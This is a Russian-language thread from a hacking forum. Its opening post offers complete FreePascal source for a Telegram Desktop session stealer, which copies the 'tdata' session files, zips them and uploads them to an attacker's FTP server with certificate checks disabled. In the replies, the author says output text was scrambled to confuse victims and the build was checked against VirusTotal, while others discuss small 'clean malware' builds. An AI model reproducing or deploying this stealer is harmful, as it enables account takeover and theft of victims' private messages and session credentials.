• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пример реализации функционала стилера ТГ (TDATA) на FreePascal

rand

CooL-Lamer
Эксперт
Регистрация
24.05.2023
Сообщения
581
Реакции
1 152
Депозит
0.07 Ł и др.
Написал: rand
Специально для: xss.pro

Всем привет! Хочу показать примерную реализацию стилера TDATA на FreePascal:
Для работы этого кода тебе понадобятся юниты zipper (обычно в составе fcl-zip) и ftpclient (обычно в составе fcl-web). Убедись, что они установлены и доступны твоему компилятору Free Pascal. (Рекомендую IDE Lazarus).

Код:
Код:
program backuptelegramsessioncompact;

{$MODE DELPHI} // Для удобной работы со строками - включаем режим Delphi
{$H+}          // Строки по умолчанию AnsiString - ускоряем операции со строками

uses
  SysUtils,      // Базовые системные утилиты (FileExists, CopyFile, RenameFile, CreateDir, PathDelim, FormatDateTime, ExtractFileName, IncludeTrailingPathDelimiter, DeleteFile)
  FileUtil,      // Утилиты для работы с файлами и директориями (FindAllFiles, DeleteDirectory, ForceDirectories, GetUserDir)
  DateUtils,     // Утилиты для работы с датами и временем (функция Now)
  Zipper,        // Юнит для работы с ZIP архивами (класс TZipper)
  Classes,       // Базовые классы (TStringList)
  IdFTP,         // Юнит для работы с FTP из библиотеки Indy (класс TIdFTP)
  IdExplicitTLSClientServerBase, IdSSLOpenSSL, IdSSLOpenSSLHeaders; // Юниты с определениями для Explicit TLS и работой с SSL FTP

var
  PathUsr: string;              // Переменная для хранения пути к домашней директории пользователя
  BaseTelegramPath: string;     // Переменная для хранения базового пути к данным Telegram Desktop
  TdataPath: string;            // Переменная для хранения пути к папке tdata
  ConnHashPath: string;         // Переменная для хранения пути к временной папке connection_hash
  MapPath: string;              // Переменная для хранения пути к временной папке map
  ArchiveName: string;          // Переменная для хранения имени ZIP архива (дата и время)
  ZipFilePath: string;          // Переменная для хранения полного пути к временному ZIP файлу
  FinalZipFilePath: string;     // Переменная для хранения полного пути к финальному ZIP файлу
  FileName: string;             // Переменная для итерации по файлам в цикле FindAllFiles
  ZipFileObj: TZipper;          // Объект для работы с ZIP архивом
  FTPClient: TIdFTP;            // Объект для работы с FTP клиентом из библиотеки Indy
  FileList: TStringList;        // Список файлов для поиска
  SSLHandler: TIdSSLIOHandlerSocketOpenSSL; // Объявляем переменную для обработчика SSL/TLS

// --- Конфигурация FTP ---
// >>> Вставь сюда свои данные FTP, братела! <<<
const
  FTPHost = '127.0.0.1';     // Адрес FTP сервера - замени на свой
  FTPPort = 21;                      // Порт FTP сервера (обычно 21)
  FTPUser = 'ftp_user1';         // Логин для подключения к FTP - замени на свой
  FTPPass = '12345678';         // Пароль для подключения к FTP - замени на свой
  FTPRemoteDir = '/';          // Удаленная директория на FTP сервере - замени на свою
// -------------------------

begin // Здесь начинается основной исполняемый код нашей программы

  Writeln('--- Запуск компактного бэкапа сессии Telegram ---'); // Выводим сообщение о старте программы

  // 1. Получаем пути и имя архива
  PathUsr := GetUserDir;             // Получаем путь к домашней директории пользователя (из FileUtil)
  // Формируем путь к папке Telegram Desktop в зависимости от операционной системы
  {$IFDEF WINDOWS}
  BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + 'AppData' + PathDelim + 'Roaming' + PathDelim + 'Telegram Desktop' + PathDelim;
  {$ELSE}
  BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + '.local' + PathDelim + 'share' + PathDelim + 'TelegramDesktop' + PathDelim + 'tdata' + PathDelim;
  {$ENDIF}

  TdataPath := BaseTelegramPath + 'tdata' + PathDelim;           // Формируем путь к папке tdata
  ConnHashPath := TdataPath + 'connection_hash' + PathDelim;     // Формируем путь к временной папке connection_hash
  MapPath := TdataPath + 'map' + PathDelim;                     // Формируем путь к временной папке map
  ArchiveName := FormatDateTime('dd_mm_yy_hh_nn', Now);         // Генерируем имя архива на основе текущей даты и времени
  ZipFilePath := BaseTelegramPath + 'session.zip';              // Устанавливаем временное имя и путь для ZIP архива
  FinalZipFilePath := BaseTelegramPath + ArchiveName + '.zip';  // Устанавливаем финальное имя и путь для ZIP архива

  // Проверяем существование папки tdata
  if not DirectoryExists(TdataPath) then // Проверяем, существует ли папка tdata
  begin
    Writeln('Ошибка: Папка tdata не найдена по пути: ' + TdataPath); // Выводим ошибку если папка не найдена
    Writeln('Убедитесь, что Telegram Desktop установлен и запускался хотя бы раз.'); // Подсказка пользователю
    Exit; // Выходим из программы
  end;

  // 2. Создаем временные директории (ForceDirectories создает и родительские, если нужно)
  Writeln('Создание временных директорий...'); // Сообщаем о создании директорий
  try
    ForceDirectories(ConnHashPath); // Создаем папку connection_hash (и родительские, если нужно)
    ForceDirectories(MapPath);      // Создаем папку map (и родительские, если нужно)
  except
    on E: Exception do              // Если произошла ошибка при создании директорий
      begin
        Writeln('Ошибка при создании директорий: ' + E.Message); // Выводим сообщение об ошибке
        Exit;                       // Выходим из программы
      end;
  end;

  // 3. Копируем нужные файлы в временные директории
  Writeln('Копирование файлов...'); // Сообщаем о копировании файлов
  try
    // Инициализируем список файлов
    FileList := TStringList.Create; // Создаем объект для хранения списка найденных файлов

    try
      // Копируем файлы по паттерну D877F783D5D3EF8?* из tdata в map
      // Этот паттерн ищет файлы, начинающиеся с D877F783D5D3EF8 (файлы карт Telegram)
      FindAllFiles(FileList, TdataPath, 'D877F783D5D3EF8*', False); // Ищем файлы по паттерну в папке tdata (не рекурсивно)
      for FileName in FileList do   // Перебираем все найденные файлы
      begin
        if FileExists(FileName) then // Проверяем, существует ли найденный файл
          CopyFile(FileName, MapPath + ExtractFileName(FileName)); // Копируем файл в папку map
      end;

      FileList.Clear;               // Очищаем список для следующего поиска

      // Копируем файлы по паттерну ??????????* из tdata в connection_hash
      // Этот паттерн ищет файлы с именем длиной >= 10 символов (файлы хешей соединений)
      FindAllFiles(FileList, TdataPath, '??????????*', False); // Ищем файлы по паттерну в папке tdata (не рекурсивно)
      for FileName in FileList do   // Перебираем все найденные файлы
      begin
        if FileExists(FileName) then // Проверяем, существует ли найденный файл
          CopyFile(FileName, ConnHashPath + ExtractFileName(FileName)); // Копируем файл в папку connection_hash
      end;

    finally
      FileList.Free;                // Освобождаем память из-под списка файлов
    end;

  except
    on E: Exception do              // Если произошла ошибка при копировании
      begin
        Writeln('Ошибка при копировании файлов: ' + E.Message); // Выводим сообщение об ошибке
        // Продолжаем выполнение, так как это не критично для создания архива
      end;
  end;

  // 4. Создаем ZIP архив
  Writeln('Создание ZIP архива...'); // Сообщаем о создании архива
  ZipFileObj := nil;                // Инициализируем объект ZIP как NIL
  try
    try
      ZipFileObj := TZipper.Create;   // Создаем объект TZipper для работы с ZIP архивами
      ZipFileObj.FileName := ZipFilePath; // Устанавливаем имя файла архива

      // Добавляем содержимое директории map в архив
      if DirectoryExists(MapPath) then // Проверяем существование папки map
      begin
        FileList := TStringList.Create; // Создаем новый список для файлов
        try
          FindAllFiles(FileList, MapPath, '*', False); // Находим все файлы в папке map
          for FileName in FileList do // Перебираем все найденные файлы
          begin
            ZipFileObj.Entries.AddFileEntry(FileName, 'map/' + ExtractFileName(FileName)); // Добавляем файл в архив в папку map
          end;
        finally
          FileList.Free;              // Освобождаем память
        end;
      end;

      // Добавляем содержимое директории connection_hash в архив
      if DirectoryExists(ConnHashPath) then // Проверяем существование папки connection_hash
      begin
        FileList := TStringList.Create; // Создаем новый список для файлов
        try
          FindAllFiles(FileList, ConnHashPath, '*', False); // Находим все файлы в папке connection_hash
          for FileName in FileList do // Перебираем все найденные файлы
          begin
            ZipFileObj.Entries.AddFileEntry(FileName, 'connection_hash/' + ExtractFileName(FileName)); // Добавляем файл в архив в папку connection_hash
          end;
        finally
          FileList.Free;              // Освобождаем память
        end;
      end;

      ZipFileObj.ZipAllFiles;         // Выполняем создание ZIP архива со всеми добавленными файлами
      Writeln('ZIP архив успешно создан: ' + ZipFilePath); // Сообщаем об успешном создании

    except
      on E: Exception do              // Если произошла ошибка при создании ZIP
        begin
          Writeln('Ошибка при создании ZIP архива: ' + E.Message); // Выводим сообщение об ошибке

          // Очищаем временные файлы при ошибке
          if DirectoryExists(ConnHashPath) then // Проверяем существование папки
            DeleteDirectory(ConnHashPath, False); // Удаляем временную папку connection_hash
          if DirectoryExists(MapPath) then  // Проверяем существование папки
            DeleteDirectory(MapPath, False); // Удаляем временную папку map
          if FileExists(ZipFilePath) then   // Проверяем существование файла
            DeleteFile(ZipFilePath);        // Если временный ZIP файл успел создаться, удаляем его
          Exit;                             // Выходим из программы после критической ошибки
        end;
    end;
  finally
    // Этот блок выполняется всегда, даже если произошла ошибка
    if Assigned(ZipFileObj) then    // Проверяем, был ли создан объект TZipper
      ZipFileObj.Free;              // Освобождаем память из-под объекта ZIP
  end;

  // 5. Удаляем временные директории
  Writeln('Удаление временных директорий...'); // Сообщаем об удалении временных директорий
  try
    if DirectoryExists(ConnHashPath) then // Проверяем существование папки
      DeleteDirectory(ConnHashPath, False); // Удаляем connection_hash
    if DirectoryExists(MapPath) then    // Проверяем существование папки
      DeleteDirectory(MapPath, False);  // Удаляем map
    Writeln('Временные директории удалены.'); // Сообщаем об успешном удалении
  except
    on E: Exception do              // Если произошла ошибка при удалении
      begin
        Writeln('Ошибка при удалении временных директорий: ' + E.Message); // Выводим сообщение об ошибке
        // Продолжаем работу, так как это не критично
      end;
  end;

  // 6. Переименовываем ZIP архив
  Writeln('Переименование ZIP архива...'); // Сообщаем о переименовании архива
  try
    if FileExists(FinalZipFilePath) then // Проверяем, не существует ли уже файл с финальным именем
      DeleteFile(FinalZipFilePath);     // Если существует, удаляем его
    RenameFile(ZipFilePath, FinalZipFilePath); // Переименовываем временный ZIP файл в финальное имя с датой
    Writeln('ZIP архив переименован в: ' + FinalZipFilePath); // Сообщаем об успешном переименовании
  except
    on E: Exception do              // Если произошла ошибка при переименовании
      begin
        Writeln('Ошибка при переименовании ZIP архива: ' + E.Message); // Выводим сообщение об ошибке
        Exit;                       // Выходим из программы после критической ошибки
      end;
  end;

// 7. Отправка файла по FTP
  Writeln('Подключение к FTP и отправка файла...'); // Сообщаем о начале работы с FTP
  FTPClient := nil;                 // Инициализируем объект FTP как NIL
  SSLHandler := nil;                // Инициализируем объект SSLHandler как NIL на всякий случай

  try
    try
      FTPClient := TIdFTP.Create(nil); // Создаем объект TIdFTP (Indy FTP Client) без владельца
      // >>> Создаем объект SSL IOHandler <<<
      SSLHandler := TIdSSLIOHandlerSocketOpenSSL.Create(nil); // Создаем объект SSL/TLS обработчика

      // >>> Братела, ослабляем гайки проверки сертификата для работы с FileZilla с самоподписанным сертификатом! <<<
      // ЭТО ВАЖНО для обхода "SSL negotiation failed" при использовании FileZilla с самоподписанным сертификатом.
      // ВНИМАНИЕ: В продакшене или при работе с чужими серверами это СНИЖАЕТ БЕЗОПАСНОСТЬ!
      // Используй ОСТОРОЖНО!
      SSLHandler.SSLOptions.VerifyMode := []; // Устанавливаем пустой набор проверок. Отключает большинство проверок сертификата.

      // >>> Явно указываем использовать метод TLSv1.2 для совместимости с FileZilla <<<
      SSLHandler.SSLOptions.Method := sslvTLSv1_2;
      // >>> Ограничиваем разрешенные версии протокола только TLSv1.2 <<<
            // Это может помочь, если сервер пытается договориться на чем-то другом, что Indy некорректно обрабатывает после handshake.
      SSLHandler.SSLOptions.SSLVersions := [sslvTLSv1_2]; // Указываем, какие версии протокола разрешены

      // Настройка параметров подключения к FTP серверу
      FTPClient.Host := FTPHost;      // Устанавливаем адрес хоста из константы
      FTPClient.Port := FTPPort;      // Устанавливаем порт из константы (для Explicit TLS обычно 21)
      FTPClient.Username := FTPUser;  // Устанавливаем имя пользователя из константы
      FTPClient.Password := FTPPass;  // Устанавливаем пароль из константы

      // >>> Привязываем SSL IOHandler к FTP клиенту <<<
      FTPClient.IOHandler := SSLHandler; // Указываем FTP клиенту использовать этот обработчик для шифрования

      // Eсли FTP сервак требует FTPS (Explicit TLS), оставляем это. FileZilla по умолчанию так работает.
      FTPClient.UseTLS := utUseExplicitTLS; // Указываем клиенту использовать явное TLS перед логином

      // Добавляем эти строки для FileZilla:
      FTPClient.Passive := True;                    // FileZilla лучше работает в пассивном режиме

      Writeln('Подключение к ' + FTPHost + ':' + IntToStr(FTPPort) + '...'); // Сообщаем о попытке подключения

      // >>> Подключаемся! Тут произойдет SSL Negotiation! <<<
      // Если все настройки SSLOptions правильные и либы OpenSSL в порядке,
      // то negotiation должен пройти, и мы перейдем к отправке команд USER/PASS по TLS.
      FTPClient.Connect;              // Выполняем подключение к FTP серверу.
      Writeln('Подключено и авторизовано.'); // Сообщаем об успешном подключении и авторизации

      // Если мы дошли сюда, TLS соединение установлено.
      // Теперь команды ChangeDir, Put и Disconnect будут идти по зашифрованному каналу.

      FTPClient.ChangeDir(FTPRemoteDir); // Переходим в указанную удаленную директорию на сервере
      Writeln('Перешли в директорию: ' + FTPRemoteDir); // Сообщаем об успешном переходе

      // Отправка файла на FTP сервер
      Writeln('Отправка файла: ' + FinalZipFilePath + ' -> ' + ExtractFileName(FinalZipFilePath)); // Сообщаем об отправке файла
      FTPClient.Put(FinalZipFilePath, ExtractFileName(FinalZipFilePath)); // Отправляем локальный файл на сервер
      Writeln('Файл успешно отправлен.'); // Сообщаем об успешной отправке

      // Отключение от FTP сервера
      Writeln('Отключение от FTP...'); // Сообщаем об отключении
      FTPClient.Disconnect;           // Выполняем отключение от FTP сервера
      Writeln('Отключено.');          // Сообщаем об успешном отключении

    except
      on E: Exception do              // Если произошла ошибка при работе с FTP
        begin
          Writeln('Ошибка при работе с FTP: ' + E.Message); // Выводим сообщение об ошибке
          // Не выходим из программы, так как файл бэкапа уже создан локально
        end;
    end;
  finally
    // Этот блок выполняется всегда, даже если произошла ошибка
    if Assigned(FTPClient) then     // Проверяем, был ли создан объект FTP клиента
      FTPClient.Free;               // Освобождаем память из-под объекта FTP клиента
    // >>> Освобождаем память из-под SSL IOHandler <<<
    if Assigned(SSLHandler) then    // Проверяем, был ли создан объект SSL IOHandler (он мог не создаться при ошибке)
      SSLHandler.Free;              // Освобождаем память
  end;
end.

upd Version 1.6 beta

1. Улучшена обработка ошибок:

  • Добавлена проверка существования папки tdata перед началом работы
  • Улучшена обработка исключений при работе с файлами и архивами
  • Добавлены проверки существования директорий перед их удалением

2. Исправлена работа с ZIP архивами:

  • Заменен устаревший API TZipper на современный
  • Правильное добавление файлов в архив с сохранением структуры папок
  • Корректное освобождение ресурсов

3. Исправлена работа с FTP:

  • Правильная настройка свойств Username и Password вместо вызова Login
  • Улучшена обработка ошибок FTP

4. Добавлены недостающие проверки:

  • Проверки существования файлов и директорий перед операциями
  • Правильное освобождение памяти во всех блоках finally
 
Последнее редактирование:
Мсье знает толк в извращениях ) Аж слеза навернулась ... Паскаль, кто бы что не говорил - лучший язык для старта. Тут есть всё - тут тебе и ООП, и работа с памятью и модульность и вообще конфетка. Все эти ваши петухи - фуфло.
 
За Pascal плюсик. Лучший язык!
У меня в планах поразвивать раздел по паскалю на форуме. Зря его со счетов сбрасывают.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
на FreePascal
Я когда-то пробовал запилить минимальный экзешничек на свободном паскале для этой статьи: https://xss.pro/threads/76417/ - но уперся в то, что слишком много объектов нужно переопределить в своем минимальном рантайме, что забил. В целом компилятор интересный, хоть и не умеет в оптимизацию, как llvm или gcc. Он, кстати, может в кросскомпиляцию под макос, если собрать соответствующий таргет, для этого удобно использовать fpcupdeluxe, или как-то так называлась гуишка.
 
Я когда-то пробовал запилить минимальный экзешничек на свободном паскале для этой статьи: https://xss.pro/threads/76417/ - но уперся в то, что слишком много объектов нужно переопределить в своем минимальном рантайме, что забил. В целом компилятор интересный, хоть и не умеет в оптимизацию, как llvm или gcc. Он, кстати, может в кросскомпиляцию под макос, если собрать соответствующий таргет, для этого удобно использовать fpcupdeluxe, или как-то так называлась гуишка.
Я дельфин (Delphi 7) по основе своей, ща вспомню молодость и постараюсь выкатить лоадер на фрипаскале статьей, только мне нужно время. Наверное в Июле сделаю.
 
Я когда-то пробовал запилить минимальный экзешничек на свободном паскале для этой статьи: https://xss.pro/threads/76417/
получая прекраснейшую чистую малварь в 10-50кб
Просто сборка пустого приложения на FPC, без пердолинга с рантаймом, дает экзешник 36кб. Остается целых 14 Кб для прекраснейшей, чистой малвари 😸
В целом компилятор интересный, хоть и не умеет в оптимизацию, как llvm или gcc.
Для него есть экспериментальный LLVM-backend.
Он, кстати, может в кросскомпиляцию под макос, если собрать соответствующий таргет
И не только под macOS: https://wiki.freepascal.org/Platform_list
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И не только под macOS
Наверное, стоит пояснить, почему я сказал только про макос. Дело в том, что очень мало языков умеет в кросскомпиляцию, например, с венды или линукса в мачо для макоса. Тому же GCC нужны такие танцы с бубном, что аш страшно, Zig был более менее, Go норм, а на этом в общем-то и все. С фри паскалем я собирал рабочий кросскомпилятор с помощью фпцапделюкс, и это удивительным для количества приложенных усилий образом работало. Я в курсе про то, что там есть платформы кроме макоса.

Для него есть
Учитывая скорость развития компилятора, я не уверен, что мы увидим компилятор фри паскаля с ллвм таргетом до того, как всех программистов заменят бямы.

По сабжу: я когда-то кодил на турбо паскале и горя не знал, сейчас я уже не могу выносить атавизмы паскалей, типа бесконечных begin-end'ов и точек с запятой со смыслом и без смысла. Если бы мне пришлось кодить на этом семействе языков, я бы, наверное, все же выбрал Аду, как язык он (или она) кажется куда интереснее и приятнее.
 
Хорошая реализация, ностальгия по юности =)


Все кто хуесосят питон - сами петухоны.

Вес в ~50кб много?) Я вам скажу, что иногда лучше получить билд в 750+ метров и это будет того стоить.
 
Учитывая скорость развития компилятора, я не уверен, что мы увидим компилятор фри паскаля с ллвм таргетом
Да ладно, нормальная у него скорость развития. Но LLVM не приоритетная задача, это да.

Если бы мне пришлось кодить на этом семействе языков, я бы, наверное, все же выбрал Аду, как язык он (или она) кажется куда интереснее и приятнее.
Ada самая многословная их всего семейства. Еще и живет только в охраняемых загонах 😼
 
Чутка обновил. Изменения описал в стартпосте. Вес билда 8.16 мб.

Отработка (кракозябры специально чтобы запутать жертву, я использоваль обычный IIS FTP без SSL для тестов, все отрабатывает, TDATA улетает в зипе):
Screenshot_1.png

Нужные модули для компиляции кода:
Screenshot_3.png

3. Слил билд на VT:
Screenshot_2.png
 

Вложения

  • Screenshot_3.png
    Screenshot_3.png
    12.6 КБ · Просмотры: 37
Чутка обновил. Изменения описал в стартпосте. Вес билда 8.16 мб.

Отработка (кракозябры специально чтобы запутать жертву, я использоваль обычный IIS FTP без SSL для тестов, все отрабатывает, TDATA улетает в зипе):
Посмотреть вложение 107767
Нужные модули для компиляции кода:
Посмотреть вложение 107768
3. Слил билд на VT:
Посмотреть вложение 107770
Можно еще сделать генерацию уникальных имен для временных папок, чтобы на случай паралельного запуска не было проблем с записью/перезаписью
 
Вес билда 8.16 мб.
Что-то многовато. Настройки проекта покрутить стоило бы.
И еще. Перед вызовом метода Free делать проверку на ненулевой указатель не требуется.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх